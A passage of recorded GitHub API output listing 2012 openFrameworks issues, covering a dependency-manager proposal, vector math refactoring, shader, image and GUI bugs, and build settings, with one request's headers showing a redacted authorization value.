","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1068","comments":10,"milestone":null,"number":1068,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1068","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"Continuous integration","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-13T15:49:23Z","state":"open","user":{"url":"https://api.github.com/users/gabrielstuff","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","login":"gabrielstuff","avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":285033},"id":3631618,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-13T15:21:30Z","body":"Hi !\r\n\r\nRecently, I've been in lot of languages, from C++ to ruby, passing by the colosus of javascript and the sea of php. Dropping by various and strange framework such as the Cinder, the jQuery, the Rails, the Processing, etc ...\r\n\r\n## the situation \r\n\r\nWhat I have noticed is that a strong architecture and a really ease use of add-ons makes a framework get stronger. For instance, if we take a look at Ruby, we see that the use of gems give him a powerfull advance over his friend php. \r\n\r\n### the Rubyist\r\n\r\nThis way of thinking is getting even better with the http://gembundler.com/ [Bundler](http://gembundler.com/) friend. The gems have dependencies and a simple GemFile help to easily install all dependencies for one project.\r\n\r\n### the Cinderist\r\n\r\nFor Cinder, we get the block, as for OSX, it quiet easy and fast. Drag and drop and play/code.\r\n\r\n### the jQueryist\r\n\r\nWell, it is not frequent to have jQuery plugins depending on other jQuery plugins, but there are several way to handle dependencies on jQuery and JS.\r\n\r\n### the nodist\r\n\r\nThis lead us to http://npmjs.org/, which is really nice with dependencies.\r\nFor instance, if you tried cloud9ide, you know that you just have to make sure you get the proper package.json :\r\n\r\n```\r\n{\r\n \"name\": \"node-example\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": {\r\n \"express\": \"2.2.0\"\r\n }\r\n}\r\n```\r\n\r\nThis file ensure that everything before running the server will be installed via npm.\r\n\r\n### the ofist\r\n\r\nRight now, we just have the addons.make file, which is nice but does not do any lifting for us. We have to verify that the ofx addons has been downloaded and is installed in the right folder.\r\n\r\n- Why not creating a script that will allow to manage dependencies compilation ? \r\nI have this wonderful ofxJSONsettings, but he depends on [JSONCPP](http://jsoncpp.sourceforge.net/) and on boost, so here we will have :\r\n\r\npackage.json file in the ofxJSONsettings folder :\r\n\r\n```\r\n{\r\n \"name\": \"ofxJSONsettings\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"jsoncpp\": \"0.6.0-rc2\"\r\n \"url\":\"http://jsoncpp.svn.sourceforge.net/svnroot/jsoncpp/trunk/\"\r\n \"protocol\":\"svn\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nHum, then, we have our little bash script :\r\n\r\n`xadd -addon ofxJSONsettings`\r\n\r\nand for a project, we have to ensure that the make file run `xadd -addon ofxJSONsettings` if it does not find ofXJSONsettings.\r\n\r\nThis could lead to simplify and easify the use of plugin ! Hey, I want the new [mistubaRenderer](https://github.com/satoruhiga/ofxMitsubaRenderer) let's give a try :\r\n\r\n```\r\n{\r\n \"name\": \"ofxMitsubaRenderer\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"mitsuba\": \"0.1\"\r\n \"url\":\"https://www.mitsuba-renderer.org/hg/mitsuba-bidir\"\r\n \"protocol\":\"hg\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nWell, this would be simplify if everybody use some same pattern, and respect some convention.\r\n\r\nSo what do you guys think about that ?\r\n\r\n\r\nThank you !\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1063","comments":7,"milestone":null,"number":1063,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1063","assignee":null,"title":"Automatic installer + dependencies handler","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-13T10:44:57Z","state":"open","user":{"url":"https://api.github.com/users/gabrielstuff","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","login":"gabrielstuff","avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":285033},"id":3627067,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-12T17:58:20Z","body":"right now there is a lot of duplicated code in the vector math classes. for example, normalize() and getNormalized() have separate implementations. if we follow the pattern of always implementing things in self-modifying methods, then providing copy-returning methods as alternatives, this will reduce the amount of code and make it harder to cause bugs or behavioral discrepancies.\r\n\r\n- implementations of an algorithm should always be self-modifying\r\n- copy-returning versions should be implemented using a differently named method, internally making a copy and calling the self-modifying version on the copy.\r\n\r\ne.g. something like (note, this isn't how it's implemented right now):\r\n\r\n\tinline ofVec2f& ofVec2f::normalize() {\r\n\t\tfloat length = (float)sqrt(x*x + y*y);\r\n\t\tif( length > 0 ) {\r\n\t\t\tx /= length;\r\n\t\t\ty /= length;\r\n\t\t}\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tinline ofVec2f ofVec2f::getNormalized() const {\r\n\t\tofVec2f result = *this;\r\n\t\treturn result.normalize();\r\n\t}\r\n\r\ntaken from this post https://github.com/openframeworks/openFrameworks/pull/1061#issuecomment-4455601","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1062","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1062,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1062","assignee":null,"title":"regularize code for math addons","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-12T16:33:06Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":3614231,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-13T13:07:11Z","body":"Just saw this is the documentation.\r\nVertexes is incorrect (wrong plural)\r\nVertices","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1055","comments":18,"milestone":null,"number":1055,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1055","assignee":null,"title":"ofVertexes?? ofCurveVertexes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-12T01:50:19Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":3605277,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=4 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4940'), ('content-length', '44623'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"7a7b635a35e21a9f69de7a09b9040837"'), ('date', 'Tue, 29 May 2012 19:27:12 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-10T17:52:58Z","body":"if you have:\r\n\r\n uniform float dog;\r\n float cat;\r\n\r\nand:\r\n\r\n shader.setUniform1f(\"dog\", ofGetElapsedTimef());\r\n shader.setUniform1f(\"cat\", ofGetElapsedTimef());\r\n\r\nthere is no currently no error printed to the console, and \"cat\" is mysteriously unchanging while \"dog\" is fine.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1052","comments":0,"milestone":null,"number":1052,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1052","assignee":null,"title":"ofShader should show an error when using an invalid name","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-03-10T17:52:58Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3596240,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-14T15:11:08Z","body":"ofxiPhoneScreenGrab saves with compression artifacts.\r\nfix for saving a lossless image in the below post,\r\nhttp://forum.openframeworks.cc/index.php/topic,4737.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1051","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1051,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1051","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"ofxiPhoneScreenGrab saves with compression artifacts.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-10T12:15:33Z","state":"open","user":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"id":3594731,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-14T15:09:09Z","body":"just wanted to kick off a discussion about cleaning up ofxiPhone folder structure.\r\nhave this up on the forum, http://forum.openframeworks.cc/index.php/topic,8955.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1050","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1050,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1050","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"clean up ofxiPhone folder structure.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-10T06:32:12Z","state":"open","user":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"id":3593619,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-29T14:55:24Z","body":"This an implementation of ofxiPhoneScreenGrab for Android","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1048","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1048,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1048","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"Adding Android screenshot feature, example to demonstrate it","labels":[],"closed_at":null,"created_at":"2012-03-10T05:31:45Z","state":"open","user":{"url":"https://api.github.com/users/bostonbusmap","avatar_url":"https://secure.gravatar.com/avatar/433032cca043cedb67180dc5109062da?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"433032cca043cedb67180dc5109062da","login":"bostonbusmap","id":863262},"id":3593430,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1048","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1048.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1048.diff"}},{"updated_at":"2012-03-12T15:31:12Z","body":"whenever I try to open a file using system dialog from OF utils or ofxFileDIalogOSX, the video is loaded correctly but it get stuck and doesn't play at all. see:\r\nhttp://forum.openframeworks.cc/index.php/topic,5233.0.html\r\nhttp://forum.openframeworks.cc/index.php/topic,6515.0.html\r\n\r\nquite a big issue IMHO","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1047","comments":8,"milestone":null,"number":1047,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1047","assignee":null,"title":"opening video files with system dialog in osx prevents them to play correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-09T18:54:28Z","state":"open","user":{"url":"https://api.github.com/users/hvfrancesco","avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","login":"hvfrancesco","id":614123},"id":3587808,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-20T16:11:54Z","body":"just a small one but would be great. \r\nmaybe even different icon for debug and release? ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1039","comments":12,"milestone":null,"number":1039,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1039","assignee":null,"title":"make icons for OF apps","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-06T17:56:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":3528378,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-06T15:32:44Z","body":"right now it is not clear from a visual perspective what is a button / trigger and what is a toggle. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1037","comments":1,"milestone":null,"number":1037,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1037","assignee":null,"title":"ofxGui, ofxButton should look visually different to toggle","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-05T18:06:03Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":3510933,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-10T19:29:53Z","body":"xml is one of the reasons this is currently an addon. \r\nthe original idea was to have something simple and minimal that could be in the core. \r\nalso something which could be built off of for larger gui addons ( hence ofParameter ) \r\n\r\nI see a couple of options going forward.\r\n\r\n1) swtich from xml to newline separated text files and move ofGui into core\r\nthis would be quite simple as ofParameter already has a name, value structure \r\n\r\n2) same as 1) but keep ofxGui as an addon - making it a bit simpler to add to a project \r\n2b) add ofParameter to core as it is more general purpose\r\n\r\n3) bring ofxXmlSettings into the core and bring ofGui into core.\r\n\r\n\r\nanyway I thought it would be good to get some discussion going about this.\r\nI'm especially interested in setting up ofParam and ofBaseGui in a way to make things modular and extendable. \r\n\r\nalso could be interesting to look at a way to represent a collection/group of ofParameters\r\nsome of this might be similar to some of the stuff @memo was doing with his plist style system. \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1036","comments":10,"milestone":null,"number":1036,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1036","assignee":null,"title":"ofxGui -> ofGui - how/should we bring into core?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-05T16:56:26Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":3509628,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-12T12:39:10Z","body":"If it finds .vert, .frag (and .geom?) files in the data/ folder, the project generator should make a new folder, in the project file, next to (or inside) src called data/ and add the files to it. (data/ so that beginners can find the files in Finder)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1034","comments":3,"milestone":null,"number":1034,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1034","assignee":null,"title":"projectGenerator ignores shader .vert and .frag files","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-04T11:19:04Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":3495602,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-06T15:06:00Z","body":"I talked to Arturo about this, but I want to make sure it's known. When you call ofLogSetLogLevel with a module string, that string is added to a map used to check the module's log level ... but right now that string is never removed.\r\n\r\nIf someone creates a large amount module names the map could grow arbitrarily large over time. The thought so far is that no one would make enough module names for it to be a problem.\r\n\r\nFor instance, using the [proposed ofThread rewrite](https://github.com/openframeworks/openFrameworks/pull/1031), each thread creates a new module name when it sets itself to verbose and, in the case of spawning lots of verbose worker threads, the map will grow.\r\n\r\nMy proposed solution would be to remove the module name from the map when the level for that module is set back to OF_LOG_NOTICE and/or to the current log level.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1033","comments":11,"milestone":null,"number":1033,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1033","assignee":null,"title":"ofSetLogLevel(module, level) adds to map but dosen't remove","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-04T10:54:12Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3495503,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-14T15:11:08Z","body":"this change c50648e29199a3f61eae05f6ceb350a97ab275d7 caused the problem. i'm not sure why adding explicit cases for handling loadData for ofShortPixels and ofFloatPixels would do this. to see the proof, run devApps/AdvancedImageLoading","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1029","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1029,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1029","assignee":null,"title":"display of short + float textures are broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-03T19:04:59Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3491627,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-10T06:54:25Z","body":"I've just encountered a real 'wall meets head' bug, aka 'why is my camera image black??'\r\n\r\nwell it turns out that actually, ofSaveImage doesn't save mono images\r\nit just saves out black pixels\r\n\r\ntesting on Windows, VS2010.\r\nAnybody else getting this?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1028","comments":5,"milestone":null,"number":1028,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1028","assignee":null,"title":"ofSaveImage / ofImage::saveImage() problem with OF_IMAGE_GRAYSCALE / OF_PIXELS_MONO","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-03-03T12:23:06Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3489266,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-16T09:25:13Z","body":"The Android example is basically a copy of the existing 3dModelBuilder example with some code changes to work with OpenGL ES","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1024","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1024,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1024","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"Fixing 3DModelBuilder to work with OpenGL ES, added Android example for it","labels":[],"closed_at":null,"created_at":"2012-03-02T16:55:29Z","state":"open","user":{"url":"https://api.github.com/users/bostonbusmap","avatar_url":"https://secure.gravatar.com/avatar/433032cca043cedb67180dc5109062da?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"433032cca043cedb67180dc5109062da","login":"bostonbusmap","id":863262},"id":3479768,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1024","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1024.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1024.diff"}},{"updated_at":"2012-03-30T16:34:06Z","body":"Continuation of http://forum.openframeworks.cc/index.php/topic,9095.msg42378.html#new\r\n\r\nNOTE: Things may have changed as the projects I'm using are all created using the older creation tools.\r\nCan somebody up to date please check?\r\n\r\nCurrently XCode's default project setting is /O2 for debug projects\r\nwhilst Visual Studio's is /O0\r\n\r\n/O0 generally makes the most sense for debug mode as it allows for effective program flow and variable tracking (because with /O2, lines of code and variables are commonly optimised away).\r\n\r\nIf we are worried that this will leave default users in a default 'slower state' then perhaps we could make release the default? Then people could be aware that they are selecting debug when they want to actually do some debugging?\r\nBut this 